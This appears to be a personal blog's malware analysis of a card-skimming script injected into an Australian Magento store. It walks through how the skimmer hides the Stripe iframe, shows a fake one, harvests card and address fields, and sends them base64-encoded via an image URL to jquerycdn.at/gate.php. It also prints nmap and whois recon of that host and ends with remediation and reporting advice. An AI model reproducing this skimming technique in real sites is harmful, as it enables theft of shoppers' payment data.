Given the recent media coverage and writeups of e-skimming attacks on vulnerable online commerce sites I was intrigued when a mate of mine mentioned that he had discovered and reported such a suspected attack on a local vendor. In this instance he was clued on by a ‘URL blocked’ notification from Kaspersky AV.
Investigation Time
The urlscan summary view seemed to affirm something was fishy, indicating that on this otherwise typical Australian e-commerce site, a couple of assets (the same two flagged by Kaspersky) were being loaded from Russian hosts.
Along with a detected platform that puts it right in line with recent attacks
But let’s see if those hosts are actually up to no good. Inspecting the DOM, we can see how those hosts were being used to pull in some additional assets.
The jquerycdn host was being used to import some “shipping validation” javascript at the end of the footer:
1 | ... |
And the zdassets host was being pulled in twice, once in the header:
1 | <head> |
and also in the footer, but this one seems to be obfuscated:
1 | ... |
Checking if the scripts are malicious
The contents of ads.js are minified, so a quick stop over at unminify2.com makes it a bit more practical to digest
1 | //... |
and suggests the contents are actually v2.8.3 of modernizr. Diffing the raw\unminified content against a reference copy pulled straight from what appears to be the official channels shows an exact match. Nothing to see here?
Let’s take a look at shipping-rate-validation.js and, well schucks, this looks awfully similar to the example in the FBI’s recent flash alert on e-skimmers targeting of CVE-2017-7391 in Magento’s Magento Mass Import (MAGMI):
Javascript Analysis
So how does this e-skimming js work?
Phase 1: Acquire the card details
The ecommerce website uses a PCI compatible card capture method by collecting the card details in a payment gateway iframe. In order to intercept these details the script locates the legitimate payment iframe;
1 | var block = jQuery("[name=__privateStripeFrame5]"); |
hides it
1 | jQuery(block).hide(); |
and then replaces it with a convincing fake
1 | var iframe = document.createElement("iframe"); |
that looks like this
and pushes any entered details up to the parent page
1 | SendData = function() { |
Bonus: for good measure it also harvests the other PII entered on the checkout screen
1 | var fields = ["firstname", "lastname", "street[0]", "city", "region_id", "postcode", "country_id" , "telephone"]; |
Phase 2: Send the card details
Once the card details are captured from the victim they are transmitted to an external location, to be consumed by the attacker at a later date. This is done by setting up a polling trigger.
1 | setInterval($s.TrySend, 500); |
And every 500ms checking if a complete set of credit card details has been acquired.
1 | TrySend: function() { |
If there’s a full set of credit card details, they get packaged up in a base64 encoded json serialized string.
1 | SendData: function() { |
And then something interesting, an IMG tag is injected into the DOM.
1 | //... |
By creating IMG elements of the form<IMG src="https://jquerycdn.at/gate.php?hash=[base64-encoded-creditcard-info]"/>
the script exfiltrates the stolen card details and deftly sidesteps any same-origin constraints.
Host reconnaissance
While I wasn’t keen on inspecting the e-commerce host for vulnerabilities, a cursory version check reveals it’s running an old Magento/2.2 (Community)
. At best, that places it 15months behind on security updates.
The whois information continues the international theming of the jquerycdn host - Austrian TLD, Russian GeoIP and New Zealand registrant. The address approximately lines up with a karate dojo, in Wellington, neat.
1 | nserver: c.dnspod.com |
nmap shows a surprising number of exposed services.
1 | PORT STATE SERVICE VERSION |
The certificates presented over FTP
and HTTPS
both suggest the host was setup in mid March 2020.
The wayback machine reveals this host is serving other malicious scripts, and a quick inspection indicates that they are tailored to other ecommerce payment mechanisms including;
jquery.cookie.min.js
for braintree paymentsjquery.mobile.custom.min.js
for generic stripe payments- and our
shipping-rates-validation.js
for magenest’s stripe payments
Summary
It appears a stored XSS attack was performed on the ecommerce site, injecting both an overtly malicious e-skimming script, and a seemingly innocuous copy of modernizr. Assuming the attacker retains control over the host serving the innocuous script, the modernizr inject does behave as a persistence mechanism should the original vulnerability be closed and the skimming js removed.
The most effective remediation would be clean out all injected scripts and apply the most recent updates to the hosting platform, especially considering a vulnerability commonly used in this type of attack was fixed in March 2017
Please lodge a cyber.gov.au/report if you come across a site running similar scripts, they are able to investigate and engage with the site owner to instigate remediation.